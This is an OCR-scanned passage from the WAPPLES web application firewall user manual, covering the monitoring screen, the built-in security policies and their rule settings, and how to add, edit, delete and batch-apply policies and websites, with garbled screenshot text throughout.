.
e
£ sooo%
£ sooon
2000% I(
i
I T o e e e e
!

Fig. X-1. Monitoring — Search Window

Monitoring only displays real time data and does not support search features.
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2. Type of Monitoring

The information of resources utilized by WAPPLES and environment settings can
be checked through Monitoring are as follows.

Table 87. Monitorin mponent:

TOP 10 List in
Recent 1 Hour

Shows top 10 detection results recorded by WAPPLES in
recent 1 hour by [Web Attack Type], [Attacker
Information], and [Host Information]

Network Setting

Shows the status information of NIC port of WAPPLES,
web servers to be protected by WAPPLES, and the
Routing Table applied to WAPPLES on the screen.

Traffic Status

Provides 5-minute traffic status by dividing the status of
web traffics going in and out of WAPPLES into [RX]
type and [TX] type.

Memory Status

CPU Status /

Shows current CPU and memory occupancy rates of
WAPPLES in charts.

Synchronization
(PLS) Connection

Policy/Log

Status

Only appears when Policy/Log Synchronization (PLS)
was activated, and shows the connection status with
WAPPLES. “[0] Check Communication Status” message
will appear when the connection status is unstable.

Synchronization

Policy/Log

(PLS) Time

Only appears when Policy/Log Synchronization (PLS)
was activated, and shows the latest synchronization time.

®

If [Setting Wizard]->[Policy & Log Synchronization] setting is not
configured, Policy/Log Synchronization (PLS) Connection Status and Log
and Policy/Log Synchronization (PLS) Time will not appear on the

Monitoring.
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XI. Policy

You can set WAPPLES detection and security policies and the website
information of the web server in [Fig. XI-1. Policy Setting View].

websites @ ‘Eé&

Period Vigw Setting Wizard

O B e & B[&

Add Tab | Detection Log Dashboard  Aucit Log Monitoring | Palicy Report

Fig. XI-1. Policy Setting View

(D When you change policy in Policy Setting View, the [Save] and [Cancel]
buttons will be activated as in [Fig. XI-2. Save/Cancel Policy]. The policy
will not be saved when you click [Cancel] and will be, only when you
press [Save].

r""\m ﬁ:}' 1\@ ﬁ E_—, websites | @ %&

vareiE Add Tab | Detection Log Dashboard  AuditLog Monitoing  Policy  Report s, ) Setting Wizard

St up policy and website
© IFyouexpand a policy tem, websites ko use the policy are diplayed.
After selecting any polcy or website, the right button of mouse, you can choose & configuration Function For each item.

Listof Security Policies and Websites
Policy Name  Fenta Security

Bakch setting ~
=@ 6. Albblock Rz name Detection Countermeasure -~
{1 Unregistered website Buffer Overflaw =2 Custom setting =5 Detection orly
@ 5. PCIDS5 Securiy Level Cross Site Sripting =52 Custom setting =5 Detection orly
£ 4. Advanced Security Level Directory Listing Il Prevent drectory leakage 5= Detection only
& 3. Standard Security Level
2 Bosi Securty Level Error Handing 1l Block as 1st level =5+ Detection orly
& 1. Deection Only, No-black Extension Fitering Il only secure extension is alowed to ac... <5+ Detection only
0. Allpass withaut detection File: Upload I profibit file upload <& Detection orly
5% Dems Policy Include Injection I Do rot detect =5+ Detection orly
Input Content Fitering I Do notdetect =5 Detection orly
Tnwvalid HTTP Il Block dangeraus HTTP =E= Detection only
Trvald URI 1l Detect URI attack =5+ Detection orly
1P Filtering Il Dorotdetect =5 Detection orly
Privacy File Filtering I Detect important personal information, === Detection only
Privacy Inpit Filtering Il Do ot detect <& Detection orly
Privacy Output Filtering 1 Do rot detect =5 Detection orly
Reuest Header Fitering Il Do ot detect <& Detection arly
Request Method Filtering 0l Permit secure request only =5 Detection only
Response Hearer Fitering 1l Prevent server information leakage =5+ Detection orly
SQL Injection I Detect basic SQL Injection attack =5 Detection orly W
Stealth Commanding Il standard setting <& Detection orly
Unicode Directory Traversal Il Standard setting =5+ Detection orly
LRI Access Contral 111! Da not detect =5 Detection orly ]
Rules excluded from batch setting
Rz name Detection Countermeasure
Cockie Paiscring I Do notdetect =5 Detection orly
Parameter Tampeting Il Detect faksification of pararneter =5 Detection only
Suspicious Access 1 Do rot detect =5+ Detection orly

Fig. X1-2. Save/Cancel Policy

[Fig. XI-4. Setting Policies and Websites] has the [List of Policies and Websites]
area on the left and [Policy Details List] on the right.

[List of Policies and Websites] is close to the tree view of the Windows explorer.
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First level shows the list of policies and when you click [+] symbol in front of the
policy’s name it will be expanded to show the list of websites to which the policy
is applied.

. All-block
Unregistered website

5, PCI-033 Security Lewel
4, Advanced Security Level
3. Standard Security Level
2.
1.
a.

o
[
o

Basic Security Lewel

Detection anly, Mo-block

All-pass without detection
Derno Policy

PEHPPDE

iy, penkasecurity, comf

Fig. X1-3. List of Policies and Websites

[& WAPPLES Management Console []=1 )
lp e £ | wesites | @ 2
A L e i
vaem= | Add Tab | Detectionlog Dashbosd  Audtlog Monitoing  Poicy  Report a2l = Setting Wizard
et up polcy and nebste
© 1 youexpand a policy item, websites ko use the polcy are diplayed
After selecting any policy of website, the right button of mouse, you can choose 3 configuration function for each e,
Listof Security Policies and Websites
Policy Name 2. Basic Security Level
Batch setting v
=@ 6 Altlock Rl name Detection Countermeasure ~
Urregistered website Buffer Overflow =542 Custom setting 4 Detection only
5. PCIDSS Security Level Cross Site Scripting 8 Clstom setting <2 Detection only
- Advanced Securty Level Drectory Listing Il Prevent drectory leakage =5 Detection orly
3. Standard Security Level
2. sk Securty Lovl Error Handing 1 Block as 1st level =5+ Detection only
1, Dekection Only, No-block Extensian Filtering M Orly secure extension is alowed to ac.. =5= Detection only
0. All-pass without: detection File Upload 1 Prohibit fie upinad =5 Detection only
Inclde Injection I Dorot detert =5 Detection only
- 2 Input Content Fitering Il Dorot detert 4 Detection only
opentasecurty.canf Invalid HTTP Il Block dangerous HTTP =5- Detection only
Tnvaicl URL Il Detect WRI attack =5+ Detection only
1P Filtering I Dorot detert =5+ Detection only
Privacy File Fitering I Detect important personal information. =5 Detection only
Privacy Input Fitering 1 Donot detert =5+ Detection only
Privacy Output Filering 1l Dorot detert <5 Detection only
Request Headsr Fitering Il Dorot detert 4 Detection only
Request Method Fittering Il Permit secure request only <& Detection only
Response Header Fitering Il Prevent server information leakage: =5+ Detection only
SQL Injection 1 Dtect basic SQL Injection attack =5+ Detection only
Stealth Commanding Il standard setting =5 Detection only
Uricode Directory Traversal Il standard setting =5 Detection only
URI Access Control 1 Do not detect =5 Detection only v
Rules excluded from batch seting
Rl name Detection CountermeasLre
Cookie Poisoning I Dorot detert =5+ Detection only
Parameter Tampering Il Detect falsfication of parameter =5 Detection only
Suspicious Access 1 Dorot detert =5 Detection only

Fig. XI-4. Setting Policies and Websites

With WAPPLES, you can designate administrator for each website. The policy
and website displayed in [List of Policies and Websites] indicates the
administrator’s name in front of the policy’s name. Refer to [XIIl.1.1 Account
Management]

WAPPLES provides 4 basic policies that the user can use without configuring.
The following describes basic policies.

Table 88. List of Basic Policies
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Basic Policy Description

All-Block Blocks all traffics
This policy can be applied to comply with
PCI-DSS Security Policy PCI-DSS verification. Provides the security
level appropriate for PCI-DSS.
This provides very high level of security
which even blocks low-impact attacks. This
Advanced Security Policy blocks most attacks excluding the attacks
that require detailed countermeasures by the
administrator
This provides higher level of security than
the Basic Security Policy. This is the security
policy most optimized to general web
environment

Standard Security Policy

This is the security policy for prevent basic
Basic Security Policy web attacks. Blocks popular web attacks
with large impact

Basic detection part is the same as the

Detect Only, No-Block [Recommended Policy] but this policy does
not block security breaches detected

All-Pass Without This policy does not detect any security

Detection breaches occurring in the website at all

The following table shows the security level setting and countermeasure setting
for each basic policy. Refer to [VI Understanding the Detection Rules] for
detailed explanations about each detection rule.
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f Poli

ntent

WebSiteDefacement
User Defined
URIAccessControl

UnicodeDirectoryTraversal

SuspiciousAccess
StealthCommanding
SQLInjection
ResponseHeaderFiltering
RequestMethodFiltering
RequestHeaderFiltering
PrivacyOutputFiltering
PrivacyInputFiltering
PrivacyFileFiltering
ParameterTampering

IP Filtering

InvalidURI
InputContentFiltering
Includelnjection
FileUpload
ExtensionFiltering
ErrorHandling
DirectoryListing
CrossSiteScripting
CookiePoisoning
BufferOverflow

Detection Rule

No Detection No Block

No Detection No Block

No Detect, Learn Error Code
General Setting Error Code
Block on Primary Level Disconnect
Attempt to Execute External Program Error Code
Detect Extended SQL Injection Attack Error Code
Prevent Server Information Leakage No Block

Process Safe Request Only Error Code
Block Simple Worm Error Code
Detection of Social Security Number No Block

Detection of Social Security Number Error Code
Detect Important Personal Information Error Code
Detect Parameter Falsification Error Code
No Detection No Block

Detection of URI Attack Error Code
No Detection No Block

Detect File Include Error Code
Prohibit Upload of Executive File Error Code
Permit Safe Formats Only Error Code
Secondary Level Block Error Code
Prevent Directory Listing Error Code
Do not Permit Script Error Code
No Detection No Block

Detection of Buffer Attack Error Code

Security Level Countermeasure

PCI-DSS Security Policy

No Detection

No Detection

No Detection

General Setting

No Detection

Attempt to Execute External Program
Basic SQL Injection Attack

Prevent Server Information Leakage

Process Safe Request Only

Block Simple Worm

Detection of Social Security Number
No Detection

Detect Important Personal Information

Detect Parameter Fa

No Detection

Detection of URI Attack

No Detection

No Detection

Prohibit Upload of Executive File

Permit Safe Formats Only

Block on Primary Level

Prevent Directory Listing

Do not Permit Script

No Detection

Detection of Buffer Attack
Security Level

Advanced Security Policy
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WebSiteDefacement
User Defined
URIAccessControl

UnicodeDirectoryTraversal

SuspiciousAccess
StealthCommanding
SQLInjection
ResponseHeaderFiltering
RequestMethodFiltering
RequestHeaderFiltering
PrivacyOutputFiltering
PrivacyInputFiltering
PrivacyFileFiltering
ParameterTampering

IP Filtering

InvalidURI
InputContentFiltering
Includelnjection
FileUpload
ExtensionFiltering
ErrorHandling
DirectoryL.isting
CrossSiteScripting
CookiePoisoning

BufferOverflow

Detection Rule

No Block
No Block
No Block
Error Code
No Block
Error Code
Error Code
No Block
Error Code
Error Code
No Block
No Block
Error Code
No Block
No Block
No Block
No Block
Error Code
Error Code
Error Code
Error Code
Error Code
Error Code
No Block
Error Code

Countermeasure

No Detection

No Detection

No Detection

General Setting

No Detection

Attempt to Execute External Program
Basic SQL Injection Attack

Prevent Server Information Leakage
Process Safe Request Only

No Detection

Detection of Social Security Number
No Detection

Detect Important Personal Information
No Detection

No Detection

Detection of URI Attack

No Detection

No Detection

Prohibit Upload of Executive File
Permit Safe Formats Only

Block on Primary Level

Prevent Directory Listing

Customer Setting (IFRAME,SCRIPT)
No Detection

Detection of Buffer Attack

Security Level

No Block
No Block
No Block
Error Code
No Block
No Block
Error Code
No Block
No Block
No Block
No Block
No Block
No Block
No Block
No Block
No Block
No Block
No Block
No Block
No Block
Error Code
Error Code
Error Code
No Block
No Block

Countermeasure

Standard Security Policy
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WebSiteDefacement
User Defined
URIAccessControl
UnicodeDirectoryTraversal
SuspiciousAccess
StealthCommanding
SQLInjection
ResponseHeaderFiltering
RequestMethodFiltering
RequestHeaderFiltering
PrivacyOutputFiltering
PrivacyInputFiltering
PrivacyFileFiltering
ParameterTampering

IP Filtering

InvalidURI
InputContentFiltering
Includelnjection
FileUpload
ExtensionFiltering
ErrorHandling
DirectoryL.isting
CrossSiteScripting
CookiePoisoning

BufferOverflow

Detection Rule

No Detection No Block
No Detection No Block
No Detection No Block
General Setting No Block
No Detection No Block
Attempt to Execute External Program No Block
Basic SQL Injection Attack Error Code
Prevent Server Information Leakage No Block
Process Safe Request Only No Block
No Detection No Block
No Detection No Block
No Detection No Block
Detect Important Personal Information No Block
No Detection No Block
No Detection No Block
Detection of URI Attack No Block
No Detection No Block
No Detection No Block
Prohibit Upload of Executive File No Block
Permit Safe Formats Only No Block
Block on Primary Level No Block
Prevent Directory Listing Error Code
Customer Setting (IFRAME,SCRIPT) No Block
No Detection No Block
Customer Setting (1000,64,800) No Block
Security Level Countermeasure

Basic Security Policy

No Detection No Block
No Detection No Block
No Detect, Learn No Block
General Setting No Block
No Detection No Block
General Setting No Block
General Setting No Block
Prevent Server Information Leakage No Block
Process Safe Request Only No Block
No Detection No Block
Detect Important Personal Information No Block
No Detection No Block
Detect Important Personal Information No Block
No Detection No Block
No Detection No Block
General Setting No Block
No Detection No Block
No Detection No Block
Prohibit Upload of Executive File No Block
Permit Safe Formats Only No Block
Block on Primary Level No Block
Prevent Directory Listing No Block
Do not Permit Script No Block
General Setting No Block
General Setting No Block
Security Level Countermeasure

Detection Only, No-Block
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WebSiteDefacement
User Defined
URIAccessControl

UnicodeDirectoryTraversal

SuspiciousAccess
StealthCommanding
SQLInjection
ResponseHeaderFiltering
RequestMethodFiltering
RequestHeaderFiltering
PrivacyOutputFiltering
PrivacyInputFiltering
PrivacyFileFiltering
ParameterTampering

IP Filtering

InvalidURI
InputContentFiltering
Includelnjection
FileUpload
ExtensionFiltering
ErrorHandling
DirectoryL.isting
CrossSiteScripting
CookiePoisoning

BufferOverflow

Detection Rule

No Detection No Block
No Detection No Block
No Detection No Block
No Detection No Block
No Detection No Block
No Detection No Block
No Detection No Block
No Detection No Block
No Detection No Block
No Detection No Block
No Detection No Block
No Detection No Block
No Detection No Block
No Detection No Block
No Detection No Block
No Detection No Block
No Detection No Block
No Detection No Block
No Detection No Block
No Detection No Block
No Detection No Block
No Detection No Block
No Detection No Block
No Detection No Block
No Detection No Block
Security Level Countermeasure

All-Pass without Detection

Also, there is [Unregistered Website] which is a special website registered as

default. [Unregistered Website] is the general term for websites that are not

registered to the Policy screen but exist in WAPPLES network, and basically

[All-Block] policy is applied to them.

When you select a policy or website from the tree view of the policy list, you can

check the contents of rule setting for corresponding policy in the detailed

information list on the right.
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1. Add/Edit Policy

You can add a new policy by clicking [Add Policy...] button in [Fig. XI-4.
Setting Policies and Websites Setting]. If there is a policy that has already been
added, you can select the policy added by a user from the tree view of [Policy and
Website List] and right click on the policy and select [Edit Policy...] on the
context menu to edit the policy.

[&] WAPPLES Management Console. g@@'

Rules excluded from batch setting

Rule name

Cookie Foisoning
Parameter Tampering
Suspicious Access

Detection

I Donot detect

Il Detect fakification of parameter
1l Do not detect

Countermeasure.

5= Detection only
<= Detection orly
5= Detection only

“lp o 7= Websites @ 35
o [ U ] & S
wasmz  AddTab | Detectionlog Dashboard  Auditlog Mortoring  Poicy  Report LECh N Setting Wizard
et up policy and websits
© 1 youexpand a palicy e, websites to use the palicy are dplayed.
blter selecting any website, the right button of mause, you can choase a canfiguration Function for each item.
ListofSecurity Policies and Websites
Policy Name  Demo Polcy
Batch seting v
2 8 6. Alblock Rule name Detection Countermeasure ~
Urvegistered website Buffer Overfiow =52 CLstom setting &= Detection orly
5. PCL-DSS Security Level Cross Site Scripting 8 Custam setting <& Detection orly
; :fvz”‘ZdSSE‘“l‘WLL“T‘ Directory Listing Il Provent directory leakage 5= Detection only
sl Error Handling 1 Block as st level < Detection orly
ection Orly, No-block Extension Fitering 1l Orly secure extension is alowed to ac... <5 Detection only
pass vithout detection File Upload I prohibit fie upload < Detection orly
Include Injection 1 Do not detect 5= Detection orly
= Input Content Filtering I Donot detect < Detection only
Invaid HTTP 1l Block dangerous HTTR 5= Detection orly
Invalid URD Il Detect URI attack < Detection orly
P Fittering 1 Do not detect 5= Detection orly
Privacy Fie Fitering I Detect mportant personal information, <+ Detection only.
Privacy Input Filtering Il Do not detect &= Detection only
Privacy Output Fitering I Do not detect < Detection orly
Request Header Fittering I Do not detect &= Detection only
Request Method Fitering Il Permit secure request only = Detection orly
Response Headler Fittering 1l Prevent server information leskage 5= Detection orly
50L Injection 1l Detect basic 5L Injection attack <= Detection orly
Stealth Commanding I Standard setting &= Detection only
Unicode Directory Traversal Il Standard setting = Detection orly
URI Access Control 1 Do not detect 5= Detection orly v

Fig. XI-5. Policy and Website Setting (Policy Context Menu)

Click [Add Policy...] and the [Fig. XI-6. Add Policy (Select Basic Policy))]

screen will appear.

If you wish to use WAPPLES’s basic policy or the policy that user has already
made when you add policy, select a policy from the combo box for selecting
basic policy to be used as the basic policy or click [Load Policy...] to load a file
to load the policy saved within the file system. The file format is *.wpc and it has
to be WAPPLES’s website security policy setting file.
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Setting Wizard

Add Policy
Select basic policy

Basic policy

Rule narme
Buffer Overflow

Directory Listing

€ Select basic policy or open from policy file.

Dermo Policy L4 [ Open policy, .,

Demo Policy

Penta Security Countermeasure -
0. All-pass without detection == Detection only

1. Detection Only, Mo-block

Cookie Poisoning(z, Basic Security Level
Cross Site Scriptif

andard Security Level
. Advanced Security Level
5. PCI-DSS Security Level

=E= Detection anly
=5 Detection orly
=5 Detection anly

Error Handling 1
Extension Filtering ]
File Upload |

Block as 1st lewvel =5 Detection only
Only secure extensi.., =% Detection only
Prohibit; file upload =5 Detection arly -

Fig. XI-6. Add Policy (Select Basic Policy)

Click [Next] from [Fig. XI-6. Add Policy (Select Basic Policy)] and a screen as in
[Fig. XI-7. Add/Edit Policy (Select the Policy to Rename or Edit)]. In this screen,
you can register/edit the name of the policy or select the rule to change form the
existing policy and make detailed settings in the next screen.

The name of the policy can be made of a combination of Korean characters,
English characters, numbers, and special characters, and the length has to be no
greater than 64 characters.

Setting Wizard will display the following error message if the value specified by
the user has error when adding/editing a policy.

Table 90. Add/Edit Policy Error Message

Error Message

Cause

The name you entered has
already been registered.

The name of the policy you specified to
add or edit already exists in the list of
existing policies
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Setting Wizard

Add Policy

Select rule to set

€ Select rule to set by checking in the checkbox in front of Following list,

Policy name Custom Policy
Sel... |Rule narne Detection CountermeasLre »~
Buffer Cverflow S=& Custom setting =& Detection anly
[0 Cookie Poisoning I Do notdetect =% Detection only
[0 Cross Site Scripting =& Customn setting =& Detection anly
[] Cirectary Listing Il Prevent directory ... =5= Detection only
Error Handling Il Block as 1st level =% Detection only
[0 Esxtension Filtering Il Only secure exte... 555 Detection only
[0 Fie Upload I Prohibit fle upload =55 Detection only = »

[ Cancel ][ < Back ]’ Mewt >

Fig. X1-7. Add/Edit Policy (Select the Policy to Rename or Edit)

Select 1 or more rules to change from [Fig. XI-7. Add/Edit Policy (Select the
Policy to Rename or Edit))] screen and click [Next] and you will see the rule
setting window for the rules you selected.

@ When you edit the detection rule, you need have a full knowledge of the
status of the website and the detection rule. If you set the detection rule
inappropriately, it can cause trouble to the web service. For details about
each detection rule, refer to [V Understanding the Detection Rules].

The status bar on the top right side indicates the rules processed among the rules
selected.

The rule setting screen is generally divided into the detection setting part on the
left and the countermeasure setting area on the right. WAPPLES uses different
methods to detect security breaches in each rule and naturally the detection
setting is different for each method. To make it simple, WAPPLES provides the
convenient slide interface to configure necessary settings. However, for the rules
that require user to specify a few values that are suitable for the characteristics of
each site, you cannot use the slide but configure the rule in the Custom Setting
mode. The countermeasure setting is divided into countermeasure and risk. The
countermeasure can be set to [Detection only], [Page redirect], [Error Code], or
[Disconnect], and [Redirect] will need the web page to redirect to and [Error
Code] will need Error Code. Risk is divided into 3 stages according to risk point
including High (50 or Higher)/Medium (20 or Higher)/Low (20 or Higher) and it
facilitates the categorization of logs when the attack was detected by the
corresponding rule. Also, the risk point will be accumulated by IP to
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automatically add the IP with high risks to the black list.

Setting Wizard

Add Policy
Rule setting

(RERREERRERRERE )

€ File Upload
= Detection 8 Prohibit file upload [ Countermeasure B Error code

other kinds of file-extension
but do not permit upload files
having following file- 400 Bad Request ¥
extentsions,

- cgi, php, exe, asp, jsp, di,
ul

_ _ Permit upload files having _ | _

] Custom Setting o Risk —}—

Cancel ][ < Back ]l Mest » ]

Fig. X1-8. Add/Edit Policy (Rule Setting 1)

[Fig. XI-9. Add/Edit Policy (Rule Setting 2) ] appears when the Custom Setting
checkbox is checked. The slide will disappear and [Edit Custom Setting] will
appear.

Setting Wizard

Add Policy
Rulz setting

( ]

€ File Upload
= Detection 8 Custom setting [ Countermeasure 8 Error code

To edit setting in detai, click S -
"Edit customn setting” ‘

400 Bad Request w
[ Edt Custom Setting... -
[#] Customn Setting B Risk 37
[ Cancel ] ’ ¢ Back ] [ Mext > ]

Fig. X1-9. Add/Edit Policy (Rule Setting 2)
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When you click [Edit Custom Setting], different details editing screen as in [Fig.
X1-10. Add/Edit Policy (Custom Setting Rule)] will appear. Some rules of

WAPPLES do not need custom settings and do not show the checkbox for custom
setting.

For details about customer settings for each rule, refer to [Vl Understanding the
Detection Rules].

Edit Rule Setting (%]

o=

B File S5ize A
Detect or not False
Max-file size 1

B File Type

=] File-extension String[] Array ()

(0] ipg

[1] brmp w

File—extension
Flease enter the file-extension list,

[ Confirrn ] [ Cancel

Fig. X1-10. Add/Edit Policy (Custom Setting Rule)

[Fig. XI-11. Add/Edit Policy (Completed)] is the summary screen that appears
when all settings are made. See the summary of policies configured and save the
contents of policy into a file or click [OK] to finalize the addition or modification
of policy. Click [Export Policy...] to export the configured policy into a file.
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Setting Wizard

Add Policy
Check setting

© Addfollowing palicy.

Palicy name ¢ Custom Policy

Export palicy. ..

Rule narne
Buffer Crverflow
Cookiz Poisoning

Directary Listing
Error Handling

File Lnlnard

Cross Site Scripting

Extension Filtering

Cetection

Detect buffer attack

Check falsification of..

Do not permit script

Prevent directory le...

Block as 1st level

Only secure extensi...

== Custom settinn

CountermeasLire

5= Detection arly
== Detection anly
=5 Detection anly
=5 Detection anly
=& Detection anly
=& Detection anly
E5) Frror rode

[ Cancel ][ < Back ]’ Canfirm

Fig. XI-11. Add/Edit Policy (Completed)

In the [Fig. XI-11. Add/Edit Policy (Completed)] screen, click [Confirm] to close
the setting wizard for adding or editing website policy and return to [Fig. XI-2.
Save/Cancel Policy] screen.

To apply the policy configured, click [Save] in the [Fig. XI-2. Save/Cancel

Policy] screen.
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2. Delete Policy

If the security policy of the registered website is inappropriate or no longer
needed, you can delete the security policy for the registered website. You can
click [Delete Policy...] in [Fig. XI-5. Policy and Website Setting (Policy Context
Menu))] you can delete the policy that the user added. You can delete the policy
added by the user indicated with “* icon, and there must be no website that uses
the corresponding policy.

Check the contents of the policy to delete in [Fig. XI-12. Delete Policy] once
again and mark the checkbox on the bottom to confirm deletion to enable and
click [OK] button.

Setting Wizard - {Custom Policy)

Delete Policy
Check setting

€ Todelete Following palicy, click ‘Canfirm’

Palicy name :  Custom Policy [ Export policy... ]

Rule name Detection Countermeasure ”~
Buffer Overflow Il Detect buffer attack  =5= Detection orly =
Cookie Paisaning I Do not detect =5= Detection only

Cross Site Scripting Il Do not permit script == Detection only
Directory Listing Il Prevent directory le...  =5= Detection only
Error Handling Il Block as 2nd level =E= Detection anly
Esxtension Filtering Il Only secure extensi,.. =5 Detection only

[ wes, delete palicy.

Cancel

Fig. XI-12. Delete Policy

@ When you delete a policy, you will not be restored the corresponding
policy. It is recommended that you save the contents of the corresponding
policy using [Export Policy...] button before you delete the policy in order
to reuse the policy and for maintenance and management purpose.
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3. Policy Batch Setting

The “Policy Batch Setting” feature applies the policy to the basic state instead of
editing rules one by one when editing policies.

[ WAPPLES Management Console 9 (=13]
e o = wWebsites | @ e
b4 £ :
T e [ £l %
- . - Period View
varmE Add Tab | Detectionlog Dashboard  Auditlog Monitoring  Polcy  Report Setting Wizard
-~
Set up policy and website
©  If you expand a policy item, websites to Use the policy are dplayed.
After selecting any poicy or website, the right buttan of mouse, you can thoosé & configuration Function Far each item,
ListofSecurity Policies and Websites
Policy Name  custom Policy
(et per. ntabeta. |
Batch setting v
6. Allbiack Rule name & AMblack
£ 5. PCL-DSS Security Level Buffer Overflow S, PCI-DS5 Security Level
4. Advanced Securiy Level
4, Advanced Security Level Cross Site Scripting 3. Standard Security Level
3. Standard Security Level Dvertory Listing 2 Basi Securly Level
& 2. Basic Security Level T 1. Detection Only, No-black.
& 1. Detection only, No-block i LY 0. Allpass without detection
192,168.5.67/
[sikanglUinregistered website File Upload 1l Permit secure file onty =& Detection orly
0. All-pass without detection Include Injection Il Detect fle Include =& Detection only
G- Custam Polcy Input Content Filtering 1 Do ot detect <& Detection orly
Inentashii Juoaw, pentohin cond Trwvalid HTTP Il Block dangerous HTTR == Detection orly
Invalid URT Il Detect URI attack =& Detection only
IP Fitering 1/ Dorotdetect =5 Detection orly
Privacy File Fitering Il Detect all kinds of personal ... =5 Detection only
Privacy Input Fitering Il Detect social ID number and... <5 Detection only
Privacy Output Filtering I'l Detect all kinds of private inf... <& Detection only
Request Header Fitering Il Do notdetect =& Detection orly
Renuest Methnd Fiterinn 1L Permit serre rmousst ank =& Detartinn nnl hd
Rules excluded from batch seting
Rule name Detection Countermessure
Cookie Poisoring Il Do notdetect =& Detection only
Parameter Tampering Il Do notdetect <5 Detection only
Suspicious Access 110 Block a5 1t level #3 Disconnection
v

Fig. X1-13. Policy Batch Setting

Select the policy to apply in [Fig. XI-13. Policy Batch Setting] and click the
combo button for applying the policy to display basic policies. Select the basic
policy to apply and the policy will be edited as in [Fig. XI-14. Policy Batch
Setting Completed].
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APPLES Management Console

o i

waPPLEY Add Tah

e

Detection Lag  Dashboard

o =

AuditLog Manitoring  Palicy Report

4= Websites @
=

Period

View

Setting izard

Set up policy and website

Listof Security Policies and Websites

© I youexpand a policy iem, websites to use the policy are dilayed.
After selecting any polcy or websie, the right bUtton of mause, you can chaose @ canfiguration function for sach item.

Policy Name  custom Policy

Batch setting

A 6. Allblock
4 5. PCI-DSS Security Level
{3 4. Advanced Security Level
3, Standard Security Level
) 2. Basic Security Level
& 1. Detection Cnly, No-block
11192.168.3.67]
111 [sikanalnregistered website
£ 0. All-pass withaut detection
=2 Custom Policy

1 [pentajhjin Junw. pentajhjin. com/

Rule name

Buffer Overfiow

Cross Site Scripting
Directary Listing

Errar Handling

Extension Filtering

File Upload

Include Injection

Input Cantent Filtering
Invalid HTTR

Invalid URT

1P Filtering

Privacy File Fitering
Privacy Input Filtering
Privacy Output Filtering
Request Header Filtering
Ranuest Mathnd Fitering

Detection

Detect buffer attack

Do nat perrit script
Provere et pem )
Block as 1t level

Orlly secure extension is dlo.
Prohibit fie upload

Detect fie Include

Do ot detect

Black dangerous HTTP
Detect URI attack

Do nat detect

Detect impartant personal in
Do not cietect

Detect social 1D number
Detect hasic worms

Parmit_ sarura rannest nnky

Countermeastre
2 Error code
&7 Error code
% Error code
&) Error code
&0 Errar code
&% Error code
% Error code
=& Detection anly
i3 Disconnection
&9 Error code
=5 Detection only
&7 Errar code
=& Detection orly
== Detection orly
2 Error code
£40) Frrar code

£

Rules excludedfrom batch setting

Rule rame

Cookie Paisoning
Parameter Tampering
Suspicious Access

Detection
Il Do ot detect
1l Detect fakification of param,
1l Do not detect

Courtermeasure
=5 Detection arly
=& Detection orly
=& Detection arly

~

Fig. X1-14. Policy Batch Setting Completed
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4. Add and Edit Website

Click [Add Website...] above the policy list of [Fig. XI-5. Policy and Website
Setting (Policy Context Menu)] screen to add policy or website. Select the
website to edit, bring out the context menu, and select [Edit Website...].

(D The number of websites registered to WAPPLE is in proportion to the
total traffic volume of the web service. In other words, if you add many
websites that cause massive traffics, WAPPLES can be arbitrarily
bypassed.

[Fig. X1-15. Policy and Website Setting (Website Context Menu)] shows that the
Policy part of the Policy List is expanded to show the list of websites and a
website was selected and right-clicked to bring out the context menu.

WAPPLES Management Console (=163

r-\ gﬁ} g C@ E @ websites @ 2
& ey e i A%
vapmLEs AddTab | DetectionLlog Dastboard  Aucitlog Moritoring  Policy  Report W) = Setting Wizard
S
Set up policy and website 3
© [ you expand a polcy item, websites to use the policy are diplayed.
After selecting any policy or website, the right button of mouse, you can choose a configuration function for each item,
Listof Security Policies and Websites
Policy Name  Custam Policy
add Folicy... ] [ Add Website... Save Cancel
Batch setting [ v
& 6. Alkblack Rulle name Detection Countermeasure -~
@ 5. PCIDSS Securky Level Buffer Overfiow 1l Detect buffer attack o7 Enor code
@ 4, Advanced Security Level Cross Site Scripting Il Do ot permit seript &%) Error cade
8 3. Standard Security Level Directory Listing Il Prevent directory leakage &% Enor code
i 2., Basic Security Level
5 1. Detecton Qnfy, No-biack Eror Handling 1 Block as 1st level o7 Eror code
0. Allpass withodk detection Extension Fitering W Only secure extension is allo.. | &% Enor code
=[5 Custom Polic File Upload I Prohibit fle upload &7 Enor code
" Inchude Injection Il Detect fie Include o7 Eror code
Input Content Filtering Il Donot detect == Detection only
T s e e Tnvalid HTTP 1l Block dangerous HTTP B Disconrection
Exception Setting. . Tnwalid URI Il Detect URI attack o7 Eror code -
Delete .. 1P Fitering Il Donot detect == Detection only
Privacy File Fitering I Detect important personal in... &% Eror code
Privacy Input Fitering I Do rot detect =5 Detection anly
Privacy Qutpuit Filtering 11 Detect sodial 1D number == Detection only
Request Header Filtering 1l Detect basic worms o7 Enor code
Renuest Mathnd Fiterinn B Permit serire renuest only B Frror rode ™
Rules excluded from batch seting
Rule name Detection CountermeasLre
Cookie Poisoning Il Dorot detect <= Detection only
Parameter Tampering Ul Detect faification of param... <&+ Detection only
Suspicious Access 1] Dorot detect <= Detection only
v

Fig. XI-15. Policy and Website Setting (Website Context Menu)

@ Context menu does not appear in the websites or policies that are
registered as default. (The default ‘Unregistered Website’ cannot be edited
or deleted.)
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When user adds a website, a virtual website including directories might be used in
some cases. If user checks [Register sub-directory of website] in [Fig. XI-16. Add
Website], a virtual website can be registered(.

Setting Wizard

Add Website
website Marme

€ Enter host name and port, and description for using in management console.

Register sub-directory of website [7]

Website Name |www.pentasecurity.cum Paort Mumber

Ganaraly 80

) WWw. pertasacurity. com

wehsite Dascription |www.pentasecurity.com |

ax ) Company Homerage

Fig. X1-16. Add Website

The addition and the editing of a website are basically the same process. When
you add a site, fields will appear empty to receive new information but when you
edit a site, fields will show previously entered values.

For details about entering or editing values when adding or editing a website,
refer to [111.5.2 Adding a Website] of the installation manual.
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5. Change of Website Security Policy

If you wish to change the “Pentasecurity” applied to “www.pentasecurity.com”
site to “Advanced Security Policy” in [Fig. XI-17. Change Website Policy] screen,
simply drag and drop “www.pentasecurity.com” to “Advanced Security Policy.”
Changes made will be applied to the system only after you finalize changes by
clicking [Save] button.

[ WAPPLES Management Console )

M ﬁ Websites @ 2
A i3 4K
vareLE 4dd Tab | Detection Log Dashboard  Auditlog Moritoing  Policy  Report ) L Setting Wizard
~
Set up policy and website
©  If you expand a policy item, websites to use the policy are diplayed
after selecting any policy or website, the right button of mause, you can thoose a configuration function For each item.
Listof Security Policies and Websites
Policy Name 4, Advanced Security Level
Addpolicy, .| [ Add Webste. . =T &)
Batch setting [ v
@ & Allblock Rule name Detection CountermeasLre ~
